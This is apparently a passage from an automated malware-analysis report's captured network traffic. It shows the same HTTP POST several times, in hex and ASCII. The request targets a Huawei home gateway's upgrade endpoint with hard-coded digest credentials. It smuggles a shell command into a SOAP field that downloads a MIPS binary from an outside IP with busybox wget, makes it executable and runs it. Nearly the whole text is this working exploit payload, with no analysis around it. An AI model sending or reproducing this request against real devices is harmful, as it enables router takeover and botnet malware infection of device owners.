75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
